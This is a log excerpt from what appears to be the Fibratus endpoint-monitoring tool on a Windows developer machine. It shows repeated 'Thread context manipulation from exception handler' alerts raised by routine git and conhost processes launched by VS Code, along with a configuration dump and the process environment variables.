VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:51:04+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 151 + Pid: 8896 + Tid: 12988 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.3921771 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 39a635000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57edf080, name➜ conhost.exe, pid➜ 1668, ppid➜ 8896, real_ppid➜ 8896, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.3921771 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8896 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:04+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 153 + Pid: 1952 + Tid: 5560 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.3986417 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 586ac000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f59dad080, name➜ conhost.exe, pid➜ 9460, ppid➜ 1952, real_ppid➜ 1952, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.3986417 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 1952 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:04+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 155 + Pid: 8896 + Tid: 12988 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.4294143 +0100 CET + Params: cmdline➜ git.exe status -z -uall, directory_table_base➜ 2a72c8000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f574e3080, name➜ git.exe, pid➜ 16964, ppid➜ 8896, real_ppid➜ 8896, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.4294143 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8896 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:04+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 157 + Pid: 1952 + Tid: 5560 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.4357429 +0100 CET + Params: cmdline➜ git.exe for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 16e36f000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b455080, name➜ git.exe, pid➜ 13096, ppid➜ 1952, real_ppid➜ 1952, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.4357429 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 1952 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:04+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 159 + Pid: 16964 + Tid: 15236 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.496151 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 3ff142000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f4c88a080, name➜ git.exe, pid➜ 16800, ppid➜ 16964, real_ppid➜ 16964, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.496151 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 16964 + Ppid: 8896 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:04+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 163 + Pid: 16964 + Tid: 15236 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.5366529 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 17fa80000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f4858d080, name➜ git.exe, pid➜ 1940, ppid➜ 16964, real_ppid➜ 16964, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.5366529 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 16964 + Ppid: 8896 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:51:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T16:51:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:51:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:52:11+01:00 level=info msg=bootstrapping with pid 4080. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:52:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ port=>25 enabled=>false use-template=>true content-type=>text/html to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-mem=>false enable-handle=>false enable-thread=>true min-buffers=>16 flush-interval=>1s max-buffers=>36 enable-dns=>false enable-image=>true buffer-size=>512 enable-threadpool=>false enable-fileio=>true enable-audit-api=>true stack-enrichment=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-age=>0 max-backups=>15 log-stdout=>true max-size=>100] + output ......................... [ amqp=>[ passive=>false enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s durable=>false delivery-mode=>transient vhost=>/ routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] http=>[ enabled=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s] elasticsearch=>[ healthcheck=>true enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false flush-period=>1s healthcheck-interval=>10s gzip-compression=>false bulk-workers=>1 healthcheck-timeout=>5s timeout=>5s index-name=>fibratus sniff=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s skip-registry=>false skip-files=>false enabled=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:52:11+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:52:11+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T16:52:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:52:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:52:17+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 171 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.2089403 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" config --get commit.template, directory_table_base➜ 19da38000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b626080, name➜ git.exe, pid➜ 16860, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.2089403 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:52:17+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 173 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.2155437 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 35e06d000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b1da1c0, name➜ git.exe, pid➜ 3948, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.2155437 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools 